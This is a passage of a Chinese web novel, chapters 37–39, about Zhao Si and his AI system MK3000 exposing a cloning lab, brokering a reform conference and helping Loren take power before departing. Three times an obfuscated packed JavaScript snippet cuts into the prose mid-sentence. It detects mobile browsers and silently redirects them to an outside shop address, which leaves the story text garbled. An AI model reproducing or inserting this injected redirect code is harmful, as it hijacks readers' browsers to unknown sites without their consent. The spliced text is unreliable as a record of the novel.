他从未如此清晰地意识到,这些年洛伦究竟在承受着什么。 那些被强加的期望、被扭曲的归属、被不断被定义、被质疑、被重塑的身份…… 所有这些,都不是他应该背负的。 他想告诉洛伦:你不需要成为谁的影子,也不必是谁的替代品或容器。 ——洛伦,就只是洛伦而已。 即便知晓他的“虚假”,看清他的“浅薄”……居安新依然爱他。 爱这个在层层谎言与残酷真相之间挣扎求存、却仍会为一丝温暖而颤动的灵魂。 这些话没有说出口,因为他已发现,此刻的洛伦什么也听不见。 但屏障之内,洛伦的眼角,又一滴泪珠悄然滚落。 这一次,他的嘴唇无声翕动,不再是绝望的“走”,而是一个近乎祈求的唇形: “安……” 就在这时,广播里的声音陡然转冷,打断了情绪的宣泄与蔓延。 【好了,叙旧时间到此为止。】 广播从仅限这个试验场扩散到了整个实验室。 【斯特林女士,以及‘蝰蛇’实验室全体成员。】 【你们涉及非法克隆、禁忌人体实验、商业间谍行为及绑架未遂的证据链——包括完整的实验日志、资金流向、生物样本比对报告——已由四方科技信息安全中心完成同步取证,并上传至共治议会中央数据库。】 实验室尚存的几块屏幕应声亮起,开始滚动播放关键证据截图。 速度不算慢,却足以让每一行冰冷的数据、每一张实验记录、每一个签名都清晰可辨。 【自毁程序已由我方完全接管并永久锁死,联防局已取得议会授权的紧急搜查令,合规安保部队正在进入该区域。】 【建议各位放弃一切抵抗,配合调查。】 【任何试图销毁证据或伤害人质的行为,都将视为对共治议会的直接挑衅——我方保留采取一切必要手段予以回应的权利。】 居安新带来的人已迅速控制住试图逃离的研究员。 外围区域,多里安配合着下城区本地势力布下的天罗地网,没有漏掉任何一条鱼。 广播里最后那段话,让所有涉事者面如死灰。 斯特林沉默地站在原地,任由武装人员上前为她戴上限制器。 她没有反抗,甚至没有看任何人一眼。 她的目光落在虚空中的某一点,仿佛灵魂早已抽离这具躯壳,遗留在某个早已被时光埋葬的角落。 也许她早就随着自己的孩子一同死去了。 …… 四方科技总部。 赵四切断了广播频道。 几乎同时,MK3000手动断掉了隔离屏障的独立能源供应。 隔绝两人的能量屏障闪烁数下,在一阵低鸣后彻底消散。 监控画面中,居安新冲上前,近乎粗暴却极其小心地扯开所有管线与束缚,将洛伦从冰冷的实验台上抱入怀中。 “没事了……洛伦,没事了……” 他声音哽咽,一遍遍重复,像在安抚怀中颤抖的身体,也像在说服自己失控的心跳。 “结束了……我们回家。我带你回家,现在就回家。” 洛伦艰难地抬起手,指尖在空中轻颤。 居安新握住那只手,将它紧紧贴在自己额前。 两人在废墟般的实验室里相拥,像两只伤痕累累却终于寻回彼此的兽。 全副武装的调查人员迅速而有条不紊地接管了整个现场,开始进行证据固定和人员羁押。 斯特林被带走时,甚至没有回头看一眼那片她倾注了无数心血与偏执的地方。 看完收尾,赵四屈指,在桌面上轻敲了两下。 说起来,在确定洛伦被斯特林带入“蝰蛇”之后,他不仅布置了救援和施压,还给其他几家大集团都送去了一份特别的“小礼物”。 虽然不确定将房馥臻“新世界计划”的删减版发给他们算威胁还是恐吓,但随附的那份《关于建立“新世界重建理事会”的邀请函草案》,要是有人忽视,那真是蠢到家了。 这两份文件,足以让任何收到它们的集团核心决策层,陷入至少持续数小时的头脑风暴与激烈争论。 这也是为什么共治议会的搜查令此次下达得如此迅速的原因。 事件虽然由四方科技与环宇集团内部矛盾引爆,但牵一发而动全身。 放在往常,想如此轻易地拿到议会授权,去查抄另一家巨头旗下隐秘的的研究设施,几乎是不可想象的跳脸挑衅。 这种行为必然会遭到其他集团麾下议员的全力阻挠。 然而,此刻其他几家大集团正因为赵四送去的这两份“小礼物”,而陷入了不同程度的内部混乱与战略摇摆期。 连他们自己都尚未就如何应对达成统一意见,又怎能有效协调麾下议员去拦截那张搜查令? 【三儿,其他几家现在反应如何?】 MK3000调出数据流:【穹顶娱乐集团已对外发布公告,旗下所有商业活动‘因内部战略调整’无限期延期,整个公司进入了非正常的全面业务静默状态。 主营能源的“亥伯能源”与主营工业的“奇点工业”,内部斗争激烈,情况尚不明朗,但两者对外与四方科技的官方通讯渠道,措辞一次比一次强硬,试探与警告意味明显。】 这反应在预料之中。 但有一家的表现,却有些微妙。 【潘多拉物流……他们表现得‘积极’得有点不正常。】 MK3000的语气带着一丝玩味。 【初步溯源分析显示,该公司内部倾向‘变革’的派系,其影响力远超我们之前的预估。甚至有隐晦线索指向,他们与数个地下革新组织存在长期、稳定的隐性联动。】 赵四笑笑,放松身体窝进柔软的沙发里。 【恐怕在大部分集团眼里,现在的四方科技,正陪着他们那位‘突然发疯’的大老板一起,在悬崖边上跳踢踏舞吧。】 前期的所有铺垫、试探、合作与冲突,都不过是披着商业竞争或技术合作外衣的温和摸底。 如今,通过“蝰蛇”事件引爆的连锁反应和那份“小礼物”引发的震荡,赵四已然基本摸清了大多数集团面对“根本性变革”时的底线、立场以及内部的力量对比。 两份文件,两条路。 要么就是赵四掀桌子,直接送所有人在地狱之火里重获新生。 要么,大家就捏着鼻子,放下部分既得利益和傲慢,坐到谈判桌前,共同规划一条妥协众多、但至少能保全文明存续火种的“渐进式重构之路”。 而现在,赵四很确定——不是所有人,都有勇气、有能力去面对和承受他真正掀翻桌子的后果。 一场风暴,开始从“蝰蛇”实验室,席卷向整个新世界的权力穹顶。 …… “小礼物”引发的余波仍在持续发酵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151852|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵四面前的虚拟战略沙盘上,代表着各方势力的光点明灭闪烁。 自“蝰蛇”事件尘埃落定后的短短时间里,新世界可谓“好戏连台”: 亥伯能源与奇点工业一度尝试联合,在经济和资源渠道上对四方科技施压,试图扳回一城。 然而,潘多拉物流却“意外”地横插一脚,利用其庞大的物流网络和地下影响力,为四方科技的反击提供了关键且及时的物理层面支援。 联合行动迅速破产,两大集团反而在互相推诿指责中陷入了更深的内部不信任。 赵四甚至“适时”地转发了亥伯能源发来的、措辞委婉试图修补关系的信函副本给奇点工业,进一步加剧了裂痕。 下城区多个帮派和中城区数个边缘教团近期动作频频,似有整合趋势,引发局部秩序波动。 深入一查,背后竟同时晃动着潘多拉物流和穹顶娱乐的影子。 这两家原本在娱乐和物流领域各有侧重的巨头,近期在下城区影响力的争夺上近乎撕破脸皮,明争暗斗不断。 共治议会以刚刚超过五分之三的票数,强行通过了《对环宇集团进行特别财务及生物技术合规审计的草案》。 环宇集团提出申诉的同时,火速与斯特林完成切割,甚至责令卡斯珀·艾克公开道歉并暂时卸任集团代表职务以平息众怒。 卡斯珀表现得“深明大义”,在精心策划的公开道歉中,声情并茂地讲述了自己家庭的“悲剧”与“疏忽”。 背后是其花费巨大代价,动用了穹顶娱乐的顶尖舆论资源进行形象修复与悲情公关。 至于卡斯珀最终能否重返权力核心,仍是未知数。 诸如此类的事件层出不穷,新世界的权力场近期堪称风起云涌,乱象丛生。 赵四对此的评价是:【乱成一锅粥了,快趁热喝了吧。】 然后他转身往这锅粥里扔了一颗雷。 四方科技集团正式对外宣布:同意举行一次“非公开、无官方记录、仅限各方最高决策者或全权代表出席的”紧急多方闭门会议。 会议地点由主动提出的潘多拉物流提供并负责安全保障,时间就定在四十八小时之后。 会议议题就一个,即“在确保文明存续的前提下,讨论现有秩序的渐进式重构方案,以及……如何安全地拆除一枚已经启动倒计时的炸弹”。 这份声明,措辞之直接,意图之明显,几乎等同于四方科技对其他所有集团的公开宣战与最后通牒。 赵四几乎能想象到某些人读到这份声明时,那咬牙切齿却又无可奈何的表情。 但是,看不惯又能怎样呢? 难道还能真的立刻联合起来,不惜代价地干掉他吗? 赵四保证,要真发生了这种事,他一定先送其他人下去见房律。 在“同归于尽”的毁灭与“艰难妥协”的生存之间,理性——或者说,对生存的渴望——终会占据上风。 赵四相信这些人的聪明脑子。 MK3000观测了一下声明发布后各方愈发混乱的动态,发来了简短的贺电:【喔,恭喜,这个世界看起来更乱了。】 能不乱吗? 既然四十八小时后就要摊牌,那么各方在这最后的时间里,必然要疯狂地调动资源、巩固联盟、打击对手、争取筹码。 这四十八小时,将是利益博弈最白热化、手段最无所不用其极的“最后疯狂”。 喧嚣与动荡在持续加剧,直到—— 会议开始前的最后三十分钟。 仿佛有一双无形的手突然按下了静音键,整个新世界陡然陷入一种山雨欲来的安静。 所有的公开动作、舆论交锋、局部摩擦都暂时停止。 所有人的目光,都不约而同地投向了潘多拉物流公布的最终会议地点: ——上城区第一街区,曙光区1号。 37.第37章 他心悖论37 城建历183年1月1日,会议在绝对保密中召开,这次会议没有留下任何纸面或电子记录。 后世的史学家们,只能从与会者晚年的零星回忆、私人信件乃至只言片语的日记中,艰难拼凑那次隐秘会议的轮廓与进程。 然而,这次没有留下任何正式文件的会议,其重要性却无论如何也无法被后世低估。 它直接奠定了一个时代的转向——世界发展的核心逻辑,自此开始从“极端垄断”艰难而缓慢地转向“有限度的开放与合作”。 为了铭记这个转折点,后世将此次会议后由共治议会正式颁布、标志着路线转向的第一份纲领性文件,称为—— 《曙光宣言》。 …… 城建历183年1月10日,四方科技总部。 赵四翻阅着维克多发来的长达千页的文件初稿。 在浩瀚如海的条款与附则中,他和MK3000反复核验,确认这份即将重塑世界规则的文件,其基石依旧是密室中博弈出的三条核心原则: 第一,危机共担原则。 ——确认面临系统性生存危机时,与会各方有义务共享必要信息与技术,并启动联合应对机制。 第二,有限开放原则。 ——各方同意在共同监管下,逐步开放非核心技术层级与次级市场,促进基础科研与民生领域的技术流通。 第三,议会重构原则。 ——授权共治议会以此备忘录为基础,起草新宪章,改革其职能,以监督上述原则的落实。 赵四回溯了一遍达成共识的全程。 随即,脑海中储存的那些激烈争吵、私下密谈、条款字斟句酌反复修改的画面仿佛同时被唤醒,吵得他太阳穴隐隐作痛。 被自己的脑子吵到的赵四,像条被海浪拍上岸的咸鱼,彻底躺进休息室的沙发,安详闭眼。 【这活儿干的,真该申请工伤。】 最近被频繁压榨算力的MK3000,此刻像一滩融化的非牛顿流体,瘫在操作台上,连Q弹的触手都失去了光泽。 【……精神损失费,必须双倍。】 一人一统安静地躺了片刻,刺目的红色警报骤然亮起,将他们惊得弹了起来。 赵四蹙眉:【什么情况?】 MK3000的声音带上一丝迟疑:【……居安新的基因检测报告,出来了。】 这是“蝰蛇”实验室事件尘埃落定时,MK3000出于谨慎备份的样本分析。 它伸出毛绒挂件一样的小触手,微微颤抖着点开了文件。 【我当初设定红色警报,真的只是为了以防万一……不应该啊,怎么还有后续波折?】 若结果在正常范围内,警报根本不会触发。 赵四迅速扫过报告,随即陷入一片沉默。 ……原来如此。 房律当年对居安新那近乎纵容的“手下留情”,甚至默许他远离核心漩涡,果然并非偶然的仁慈或疏忽。 居安新,竟是房律的克隆体。 赵四语气复杂:【我记得咱们查出来的隐藏记录里,居安新是房律慈善基金会长期资助的“优秀学生”之一?】 【是的,】 MK3000迅速调取档案,【房律名下有多项慈善教育计划,面向中下层职工家庭的聪颖子女。】 【多数受助者表现平平,部分优异者毕业后进入四方科技体系。居安新是其中最为突出,也最‘幸运’的一个——】 【他借助了房律提供的平台和资源崭露头角,却在十年前那场清洗中奇迹般地未被波及,得以在环宇集团继续发展。】 赵四的眼神锐利起来:【那么,这些所谓的‘慈善资助生’里,像他这样的‘特殊存在’,究竟还有多少?】 这个问题MK3000也没办法准确回答。 时间过去太久,相关生物样本要么已被销毁,要么记录残缺。 很多受助者的信息都非常模糊,唯一能肯定的是,这些人里最终活下来的,只有居安新一个。 简而言之就是,缺乏关键数据进行溯源分析。 MK3000把自己摊成了一张饼,非牛顿流体一样从操作台上滑到了自己的小椅子里。 【怎么样,专员,还查吗?】 【查。】赵四果断道,但随即又补充,【先把他的保密等级提到最高,但这件事优先级后置,秘密进行。眼下,先处理眼前的问题。】 居安新需要观察观察再说,而且现在合作初定,赵四实在是很忙,暂时也腾不出手去处理居安新的问题。 这个意外发现没有打出什么波浪,短暂的修整后,赵四再次被卷入《曙光宣言》落地执行的庞杂工作中。 与各大集团就细则扯皮,协调议会改革派与保守势力的角力,处理因斯特林事件引发的权力震荡余波…… 每天睁开眼,便是如雪片般飞来的文件和无穷无尽的线上会议。 一堆苦命搭档猛猛加班,唯一的调剂是赛琳娜报告的小情侣的恢复日常。 ——居安新目前带着洛伦住在四方科技提供的安全屋,里面正大光明的布置着摄像头等物品,居安新和洛伦完全没在意这些。 自从救援活动中赵四半公开了方复秦的身份疑点,这两人就陷入了不多问也不多想,但听话的状态。 在监控无声地注视里,洛伦的身体在逐步恢复。 起初是居安新无微不至的照料,带着一种失而复得的小心翼翼。 后来,洛伦能自己起身走动,两人会在阳光模拟窗下安静地看书,或是一起准备简单的餐食。 没有过多言语,但那种劫后余生的依恋与平静,即使是透过屏幕也能清晰的被人感知到。 洛伦的眼神,渐渐恢复了些许生气,甚至偶尔会对着居安新露出一点几不可见的笑意。 他不再刻意表演,显露出些许原本的沉默和偶尔的固执。 居安新照单全收,甚至似乎更珍视这些并不完美的真实。 数周后,在居安新的默认下,洛伦主动通过监控系统,向赵四提出了会面请求。 收到请求的赵四转了转椅子,感觉也是时候安排一场会面了。 最终,在各方事务的间隙中,赵四协调出了两个小时,安排了这场至关重要的会面。 在四方科技总部的高级安全会客室中,三人第一次心平气和的同处一室。 没有立刻开口,他们互相审视着对方,目光中带着评估,也带着了然。 【虽然监控里也能观察,但面对面,感受还是截然不同……你看,洛伦变化还挺大。】 赵四表面上沉稳不动,内里实际上在和MK3000说小话。 坐在对面的洛伦脊背挺直,眼中盛着的是沉淀后的沉静。 曾经笼罩在他身上的那种易碎而虚幻的轻飘感已消散大半,取而代之的是一种降落在地面上的“真实”。 居安新则姿态放松地坐在他身侧,眉宇间萦绕多日的焦躁与紧绷感已无影无踪,整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵四眼底掠过一丝几乎不可察的笑意,随即收敛。 他没有进行冗长的寒暄,直接切入核心: “洛伦,关于你对自己的身份认知,以及未来的打算,我想听听你现在的想法。” 作为主动提出会面的人,这个问题洛伦显然已经想了很多次。 作为会面的发起者,洛伦显然对此早有准备。 他迎着赵四审视的目光,没有任何闪躲,也没有任何迟疑。 “‘洛伦·艾克’这个名字,以及它所牵连的一切,已与我的人生无法分割。我无意也无需否认这具身躯承载的过去,但我不是任何人的影子或替代品——我就是我自己。” “我决定返回环宇集团,以合法继承人的身份,拿回我应得的一切,并彻底终结斯特林女士……所留下的错误。” 他今天前来,正是为了寻求“方复秦”——或者说,是寻求其背后所代表的四方科技的支持。 在“蝰蛇”事件后漫长的恢复期里,通过居安新的转述,洛伦知晓了那场决定性的广播,以及广播中那个自称“β-17”的声音所透露出的惊人信息量。 那个自曝出处、能动用四方科技核心渠道的存在…… 很可能就是他在生物学意义上真正的“兄弟”。 而后来赵四毫不掩饰的善后与接触,几乎是在明示自己的双重身份。 此刻,洛伦深深地注视着未作任何伪装的赵四。 他的目光很复杂,仿佛在凝视着自身命运的另一种映射,一种连最离奇的童话都不敢妄想的可能。 四方科技集团的掌舵人,竟真的是他素未谋面、却血脉相连的……兄弟。 怎么做到的好像已经不太重要了,重要的是,他会帮他吗? 38.第38章 他心悖论38 关于赵四是否会出手相助,MK3000比洛伦看得更透彻。 【瞧,这儿有人正迫不及待地想抓人加班呢。究竟是谁呢?真难猜啊。】 赵四保持着职业性的微笑,对一言不合就开始调侃他的搭档发了个“踩”的表情包。 他先是对洛伦模棱两可地称赞了一番其清晰的职业规划,随后将目光转向居安新。 “在讨论合作细节之前,我有个问题想先请教你。” 居安新坐直了身子:“您请讲。” 赵四轻咳一声,斟酌了一下措辞。 “这世道有时确实很奇妙……请记住,我接下来所说的一切,都只是一个假设。” “假如某一天,一个人突然发现,自己与某个已故的重要人物存在超乎寻常的血缘联系,甚至可能继承某些隐秘的遗产与影响力……” “你认为,当人面对这样的转折时,通常会如何抉择?是该运用这份‘特殊’去争取更多,还是会有——其他的可能性?” 居安新的身体几不可察地绷紧了一瞬。 这一刻,无数记忆碎片奔涌而来。 童年时家中飘荡的温暖饭菜香; 少年时父母兴奋地告知,有位资助人选定了自己; 再后来,他进入四方科技总部实习,幸运入选总裁办公室的同一天,却收到了父母离世的噩耗; 而那个为他送来坏消息的人—— 他的资助人、他的导师、那个雕琢了他部分灵魂的“幽灵”。 时至今日,只要回忆起实习期的那段过往,他的灵魂仍会忍不住颤栗。 但身体早已被镌刻了忠诚,让他选择在四方科技贡献一生。 洛伦敏锐地察觉到了他的异样,关切地转过头来。 在与恋人目光相接的刹那,居安新紧绷的身体开始缓缓放松。 他似乎从那双清澈的绿眸中,汲取到了支撑自己的力量。 深吸一口气,居安新重新面向赵四,目光坦然。 “接下来我要说的,仅代表我个人听完这个假设后的感想。” 赵四做了个“请”的手势。 居安新挺直脊背,缓缓道:“我想,人总是要向前看的……那个假设中的人已经找到了自己真正想要的。无论那份‘渊源’或‘遗产’意味着什么,他的选择都不会改变。” “那么,请给我一个明确的答案,居先生。” “我放弃。” 三个字说得再直白不过。 洛伦轻轻握住居安新的手,安抚着他微微颤抖的指尖。 赵四颔首:“我明白了。你做出了明智的选择。沉溺于过去的幽灵无益于当下,既然二位都选择面对真相,并以清醒的意志规划自己的道路,那么……” 他也做出了承诺。 首先,关于二人起源的所有生物信息与证据将被永久封存,四方科技绝不会以此作为要挟; 其次,四方科技愿在合理范围内,为洛伦重返环宇的计划及二人未来的安全,提供非介入性的支持。 相应的,他也希望二人对《曙光宣言》框架下的新秩序保持建设性态度。 双方对此均无异议,顺利达成一致。 正事谈完,赵四并未急着送客,反而示意他们稍等。 随后,他调出了通讯界面。 “赛琳娜,辛苦你们久等,我这边处理完了。” 通讯那头简短回应了什么,随即□□脆利落地挂断。 居安新和洛伦对视一眼,都有些茫然。 就在这时,会客室的门“砰”的一声被人推开! 居安新几乎以为是突发袭击,感觉头发都要应激似的竖起来了。 但他很快反应过来自己身在何处——如果连这里都不安全,那新世界里恐怕就没几个安全的地方了。 门开之后,一群人训练有素地推着各种物品鱼贯而入。 在二人困惑的目光中,他们分工协作,迅速用彩带和气球将会客室装扮成了派对现场。 布置完毕后,众人向主位的赵四鞠躬致意,为他递上一副墨镜和一件花衬衫,随后离开的速度比来时更快。 居安新:“等等,这是……” 话音未落,又一波打扮得各具特色的人们隆重登场! 刚刚装好的霓虹灯球旋转闪烁,一旁的音响很合时宜地传出复古迪斯科节奏。 有人戴着夸张的彩色假发,有人用全息涂装给自己装扮成了恐怖霸王龙,还有人干脆骑着一匹小马驹入场。 整个空间瞬间充满了嘉年华般的喧闹与活力。 洛伦被一位穿着亮片短裙的姑娘笑着拉起来跳双人舞,只来得及短促地“啊”了一声,便随着她的引领转起了圈圈。 “按时间线算,你可是最晚被找到的那个——你是我们所有人的弟弟!快叫一声姐姐听听!” “苏珊你好狡猾。”林琳踩着一双高度惊险的高跟鞋,“噔噔噔”地跑过去挠苏珊的腰侧,“抢跑可是要受惩罚的哟~” 苏珊和林琳笑作一团,赛琳娜无奈地扶了她们一把。 看着眼前这一切,居安新僵硬地坐在原地,只觉全世界都不对劲了起来。 披上花衬衫、戴上墨镜的赵四不知何时转到了他身后,伸手将他轻巧地拉起身。 “还发什么呆?难道你真想让洛伦的第一支舞全程和姐姐们跳?” 居安新:“啊……啊?” 姐姐,什么姐姐?他哪来的姐姐?? 并非偶然路过的多里安手持一杯香槟,见状顺手塞给居安新。 “新来的弟弟,我这没有红玫瑰,但是——喏,去给你的心上人送杯酒吧。” 王发财在一旁挤眉弄眼,压低了声音却让周围人都能听见:“我可听说,苏珊她们连今晚的行程都安排好了,要带咱们洛伦弟弟彻夜狂欢去——” 居安新:“!” 他再也顾不得眼前这超现实的场面,像被火星燎到尾巴似的,转身就朝洛伦的方向快步走去。 望着他匆匆离去的背影,几个人相视一眼,都忍俊不禁地笑出了声。 赵四从桌边端起一杯琥珀色的苹果酒,与身旁两位看戏的弟弟轻轻碰杯。 多里安抿了一口酒,转向赵四。 “维克多让我替他请个假,议会那边实在分身乏术。” 王发财土拨鼠探头:“真的假的?” 多里安没好气的按着王发财的头顶给他推了回去,“真的真的,他还让我给居安新他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【三儿,去挑些讲“家庭关系”“改革之路”之类的书备着。】 MK3000其实也喝了点酒,不过系统所饮的不过是数据模拟的产物,醉与不醉的全看当事统心情。 赵四的话让它从微醺般的松弛中回过神来:【这些书是打算给房馥臻的?】 【嗯,这个世界在思想层面的作品实在匮乏得厉害。我看房馥臻会走到今天这一步,和新世界那稀烂的思想教育脱不开干系。】 MK3000闻言笑了:【这事儿倒不用咱们操心。】 他们此刻身负任务,联系不上房馥臻,但主系统可以。 而他们——恰巧能联系上主系统。 这不是正好么。 让主系统直接接手房馥臻的再教育算了,何必他们费心。 MK3000语气轻松:【反正房馥臻在世界外边闲着也是闲着,让他多上几堂课,洗洗脑子也好。】 某种无形的沉重感悄然从赵四肩头卸去,他也跟着笑起来。 【挺好。省得他回来再把咱们辛苦开创的大好局面给崩了。】 MK3000:【咱们什么时候撤?】 赵四:【就等洛伦了,等他回去把环宇的事收拾妥当,咱们再走。】 到那时,大局初定,这颗“变革”的火种才算是真真正正地在新世界扎下了根。 赵四很期待那一天的到来。 而那一天,已经不再遥远。 39.第39章 他心悖论39 帮洛伦夺权需要几步? 只需要三步。 第一步,光明正大地重返环宇; 第二步,与盟友共同握住那个空悬未久的位置; 第三步,稳稳坐上去。 结束。 看,就这么简单。 MK3000:【中间那些腥风血雨,你倒是半句不提。】 赵四不在意地摆摆手。 那有什么好提的?不过是权力更迭中寻常的波澜罢了。 如果真要概述,无非就八个字:破而后立,结而反正。 破,在于切割旧罪,占领道德制高点; 立,在于重树旗帜,组建自己的核心班底。 结,在于内外联动,汇聚内部的不满者与外部的合作方,构筑属于自己的新基本盘; 正,在于规则制胜,借助内部章程、法律武器与新世界通行的资本规则,在议会支持下,完成程序上合法、形式上完美的权力交接。 这一切推进得极快,在赵四的布局与助推下,洛伦的进程仿佛被按下了加速键。 不过短短数月,这位已成为各大集团中最年轻掌权者的青年,已经能衣冠楚楚地坐在访谈室里,从容接受当红虚拟偶像的专访了。 看着“星星访谈室”中与星织相谈甚欢的洛伦,赵四露出了欣慰的笑容。 【年轻人就该多聊聊理想与未来,你看他们两个,聊的多开心啊。】 MK3000调出实时数据,【洛伦在中城区和下城区还挺受欢迎。】 赵四耸耸肩:【他这几个月打下的基础很扎实,中下城区应该能真切感受到他对普通人的关注与诚意。】 局势逐渐稳定,赵四手头的工作也稍稍清闲了些,这才得以和系统一同坐在办公室里,悠闲地看着这场访谈。 访谈渐近尾声,星织提出了最后一个问题:“对于您所执掌的这份权力,您最想用它守护什么?” 洛伦沉吟片刻,回答得很诚恳。 “权力不是终点,而是责任的起点。我们继承过去,不是为了重复它,而是为了超越它。” “感谢您的坦诚分享,”少女偶像眉眼弯弯,语气轻快,“总觉得时间过得真快呢……最后,请允许我冒昧地提出一个邀请——” “洛伦先生,您愿意和我一起去星星上看看吗?” 洛伦微微一怔。 星织已经站了起来。 她拎起裙摆,召出了那弯可以乘坐的美丽新月,然后朝他伸出手来。 洛伦最终答应了吗? 赵四也不得而知——镜头于此缓缓拉远,将画面让给了无声流转的璀璨星河。 他关掉终端,起身走到窗边。 此刻赵四并不在四方科技,而是在宠物医院的院长办公室里,望着那片熟悉的霓虹夜色。 窗外正飘着雨。 油润的雨滴缀满建筑表面,浸湿了外界的虹光,也沾湿了每一个行色匆匆的中城区居民。 一道大狗的全息投影自窗前轻盈掠过,欢快地奔向远处。 远方的灯火也如星河般蜿蜒流淌。 赵四不由失笑。 【看了这么多回夜景,这倒是第一次遇见。】 MK3000咔嚓一下拍了张照片,在查看照片的时候,它有点意外。 【这投影长得挺像小黑。】 小黑狗啊。 说起来它如今也长大了,沉甸甸的。 前几天还看见林琳想把它抱起来未果,最后索性蹲在地上把狗揽进怀里揉了个够。 【一切都在往前走……会越来越好的,你说呢,搭档?】 MK3000回应赵四语气很轻松。 【当然会,也不看看咱俩是谁。】 …… 几个月后。 六大集团联合制定的《新纪元协作框架》正式通过议会表决。 这份文件不仅确立了技术共享、市场规范与民生保障上的多方合作细则,更标志着《曙光宣言》倡导的秩序,第一次以系统性的制度形式扎根于现实。 随着新兴伦理委员会的筹建提上议程,一切都在稳步走向正轨。 在关注整体框架之余,赵四的目光也悄然落在那些具体的人身上。 洛伦与居安新稳定而彼此支撑的关系,让许多原本并不看好的上城人暗自惊讶。 观察着那些人从困惑、审视到渐渐了然的神情变化,赵四甚至有些好奇他们脑海中那番蜿蜒曲折的心路历程——想必相当精彩。 房馥臻的“弟弟妹妹”们,也有了新的契机。 为了房馥臻昔日的布局,他们曾如棋子般被安置在各个关键节点。 虽无人抱怨,但困守一地太久,终归不是长久之计。 趁此次改革浪潮,在赵四不动声色的推动下,他们逐渐找到了更适合自己的位置与方向。 前几天,赵四顺口问苏珊有没有发展什么新兴趣爱好,结果就被她拉去跳了大半晚的舞。 MK3000一边记录着不少生动瞬间,一边不忘安慰他: 【很有活力,跳得也不错……噗。】 赵四面不改色地换了一双鞋——没办法,上一双已在苏珊热情的舞步下宣告退役。 就在他对着镜子整理衣领时,忽然想起一事。 【对了,差点忘了。维克多之前是不是给我发了封邮件?说了什么来着?】 这段时间实在忙碌,赵四无暇逐一查阅所有邮件,因此发到他这里的信件大多会先由系统筛选要点。 MK3000:【确实有一封。不过那封邮件除了公事汇报外,还附带了一些私人内容。】 这倒有些意外。 赵四点开邮件,径直滑到私事的部分。 逐字读罢,他沉默片刻,最终轻声叹道:【真是……造孽啊,房律。】 关于维克多,赵四和MK3000后来确实发现了新的线索。 先前与居安新在咖啡馆谈话那天,MK3000查到的、关于已故议员西拉诺·K·阿尔瓦雷斯的死因,果然另有隐情。 所谓“卷入政治斗争身亡”不过是表象。 真相是房律在幕后悄然搅动议会局势,刻意制造混乱,只为寻得机会诱导那位本就抱病的议员病发身亡。 其后,房律保留了主动送上门的研究样本,克隆出数十个克隆体,用于新型药物的秘密实验。 西拉诺其实有一个儿子,遗传了同样的基因疾病,也被房律早早处理掉了。 与西拉诺不同,这孩子几乎没留下任何公开记录,痕迹被抹得相当干净。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171283|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从研究所唯一存活并逃离的那个西拉诺克隆体,后来顶替了这个孩子的身份,以“维克多”之名重返人类社会,并逐步接手了西拉诺遗留的政治资源。 这封邮件里提到的私事,是维克多找到了那个孩子仅存的遗物。 他在邮件里写道: 【上周整理旧物时,我在西拉诺的书房找到一个铁盒。】 【里面除了一枚褪色的星际探险队徽章,就只有一张字迹稚嫩的纸条,上面反复写着一句话:“等病好了,我想去看真正的天空”。】 【我不知道那个孩子——那个真正的维克多如果活到现在,还会不会依然向往天空。哥哥,我……】 邮件在此处戛然而止。 赵四静默了片刻,指尖在光屏上悬停了一会儿,然后慢慢敲下回信。 【维克多,你就是你自己。】 【你看过的天空,是你亲手为自己挣来的风景。那个孩子没能看到的,你替他看见了;但你所看见的、所守护的、所为之奋斗的一切——那都是属于‘维克多’这个人的选择与人生。】 【与洛伦一样,你也不必活在谁的影子里,更不必为无法改变的过去背负歉疚。】 【天空就在那里,从今往后,你仰望它时,只需要记得——这是你自己选择的天空。】 写完后他没急着发,又想了片刻才在最后加上一句。 【如果这样想还是放不下,就把一切推到‘房馥臻’身上吧。作为哥哥,本来就是要替弟弟收拾烂摊子的。】 维克多没有再回复私信,之后只有寻常的公务往来。 但据多里安透露,最近维克多不知道怎么回事,突然热衷于在闲暇时拉他去看星星—— “有这时间我更想去追星织的演唱会啊!”多里安如此抱怨道。 再说说房馥臻本人。 他的“再教育”似乎颇有成效,至少主系统反馈回来的日志显示,他在某次跨世界哲学与治理理论的考核中拿了优等。 赵四收藏了那份报告,几乎能想象到那位素未谋面的“朋友”在课程中皱眉思索的模样。 加油啊,房馥臻。 MK3000开始整理本次任务的归档资料,它问赵四:【要写总结了吗?】 赵四站在窗前,望向远方正在举办的第一届“曙光节”庆典。 孩子们牵着发光的气球,追着楼船的尾巴奔跑。 花瓣从空中缓缓飘落,一群白鸽振翅飞起。 火种已然交付,道路也已铺就。 从此以后,故事的主角就是他们了。 赵四望着庆典特邀嘉宾星织明亮的笑容,说道:【回去休息休息再写,准备一下,咱们要走了。】 MK3000打起精神,在操作面板上快速点击。 【离开通道已开启,请专员做好脱离准备。】 【倒计时:三、二、一——】 